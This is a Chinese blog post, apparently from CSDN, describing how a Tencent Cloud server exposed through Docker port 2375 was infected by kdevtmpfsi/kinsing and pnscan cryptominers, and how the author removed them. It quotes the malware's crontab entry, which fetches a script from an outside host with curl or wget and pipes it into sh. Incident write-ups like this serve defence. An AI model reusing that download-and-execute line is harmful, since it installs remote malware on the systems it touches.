Linux被kdevtmpfsi,pnscan挖矿病毒入侵记录

Linux被kdevtmpfsi,pnscan挖矿病毒入侵

记录起因

从腾讯云刚拿了一台新服务器,第一天装好docker环境后,第二天上午就收到了来自腾讯云的短信警告。登陆平台后发现站内信
在这里插入图片描述


好在腾讯没有直接停用我的服务器,直接进入服务使用top观察了一会高占用进程
发现kdevtmpfsi 和 pnscan 已经把我的cpu跑满了。

pnscan病毒感染惨状

  • 使用top & ps & netstat 等等命令,都无法正常使用
  • CPU基本100%,时不时网络中断
  • redis端口6379被大规则线程占用
  • 通过lsof -i:6379 查看进程,发现进程id一直在变动
  • rm -rf 攻击的脚本,显示没权限(加sudo也没用,彻底对这个病毒服气了!)

kdevtmpfsi病毒感染惨状

  • 依赖于我的docker容器,并自动为我下载镜像,启动伪装服务
  • cpu占用高
排查方法(kdevtmpfsi)

查看 kdevtmpfsi 进程,使用 ps -ef | grep kdevtmpfsi 命令查看,见下图。在这里插入图片描述

PS: 通过 ps -ef 命令查出 kdevtmpfsi 进程号,直接 kill -9 进程号并删除 /tmp/kdevtmpfsi 执行文件。但没有过1分钟进程又运行了,这时就能想到,kdevtmpfsi 有守护程序或者有计划任务。通过 crontab -l 查看是否有可疑的计划任务。第二步:根据上面结果知道 kdevtmpfsi 进程号是 10393,使用 systemctl status 10393 发现 kdevtmpfsi 有守护进程,见下图。
在这里插入图片描述

第三步:kill 掉 kdevtmpfsi 守护进程 kill -9 30903 30904,再 killall -9 kdevtmpfsi 挖矿病毒,最后删除 kdevtmpfsi 执行程序 rm -f /tmp/kdevtmpfsi。
第四步:删除掉kdevtmpfsi的相关文件

cd  /tmp
ls
rm -rf kdevtmpfsi 
rm -rf /var/tmp/kinsing  
最后自己可以再检查一下是否还有kdevtmpfsi的相关文件,有的话就继续删除
find / -name kdevtmpfsi
find / -name kinsing
排查方法 (pnscan)

第一步:通过进程名寻找文件目录

[root@hadoop1 sbin]# find / -name '*bioset*'
/var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/vje9c1vlq/bk20vm2o/xCkB12/bioset

该目录下存在一个proc_1的脚本文件,推测是守护脚本,直接删除也不行(还有同步机制,接着看)

第二步:使用 crontab -l 查询任务项,果然有猫腻

[root@hadoop1 sbin]# crontab -l
*/10 * * * * (curl -fsSL --retry 3 -m180 "http://dl.djangocc.com:8080/p?a=p&a2=cron"||wget -q --tries=3 -T180 -O- "http://dl.djangocc.com:8080/p?a=p&a2=cron")|sh

该病毒会每10分钟从djangocc.com上下载shell脚本并执行,这里不能直接执行crontab -e,进去后删除,然后保存退出。这方法压根不行,因为还会继续添加。

第三步:
1)先关掉定时crondsy

stemctl stop crond #关掉定时
systemctl disable crond.service #关掉定时开机自启动

2)删除crontab文件

rm -rf /var/spool/cron/root

3)删除病毒文件

rm -f /var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/*

4)根据之前top的病毒PID停止进程

kill -9 2042

5)执行crontab -e进去将所有内容删除,保存退出

crontab -e

6)重启监测,到这里top发现没有bioset,CPU占用也正常

注意事项

完成以上操作后,要对/etc,/tmp 目录的新生文件(尤其是.sh)进行排查,
例如/etc目录出现 newinit.sh,newsvc.sh,newdat.sh 要及时删除。/tmp目录下出现新生可疑文件且“上锁”

chattr命令使用

在对可疑文件进行删除时,可能会遭遇root用户被提示:Operation not permitted
使用lsattr 命令查看文件权限

lsattr *

如果发现脚本包含i属性,则使用chattr清除属性

lsattr newinit.sh
## ----ia----------- newinit.sh
# 知道原因后就好办了,执行指令chattr -i 文件名,更改文件i属性,如下
chattr -i newinit.sh
rm -rf newinit.sh
事后检查
  • 通过 find / -name “kdevtmpfsi” 命令搜索是否还有 kdevtmpfsi 文件
  • 查看 Linux ssh 登陆审计日志。Centos 与 RedHat 审计日志路径为 /var/log/secure,Ubuntu 与 Debian 审计日志路径为 /var/log/auth.log。
  • 检查 crontab 计划任务是否有可疑任务
问题起因

百度过很多博文,大多数起因是redis没有设置密码,或密码过于简单。但是我的服务器并还没来得及装redis。最终发现我的防火墙开启了2375端口(是我开启了idea 的docker插件互通,方便我一键部署服务被人扫描到变成了肉鸡)

总结
  • 如果想彻底解决这个毒瘤,需要恢复的内容很多、且需要完全把攻击的脚本看懂,否者也不能彻底恢复
  • 本人能力还有限 ,有这个时间,不如重新安装一个系统。
  • 此服务器个人学习使用,安全问题自己关注的很少。至少任何服务开启的时候,以后都要设置密码
  • 如果可以,防火墙设置固定的IP地址访问的权限、常用的端口,如80/3306/6379等等,可以设置其他非默认端口
  • 在服务搭建及组件通信中尽量考虑docker容器内通信,不将基础性服务暴露在外网
  • 事后如果发现病毒依然能霸占主机,迁移出自己的文件隔离杀毒。将主机镜像还原。
  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值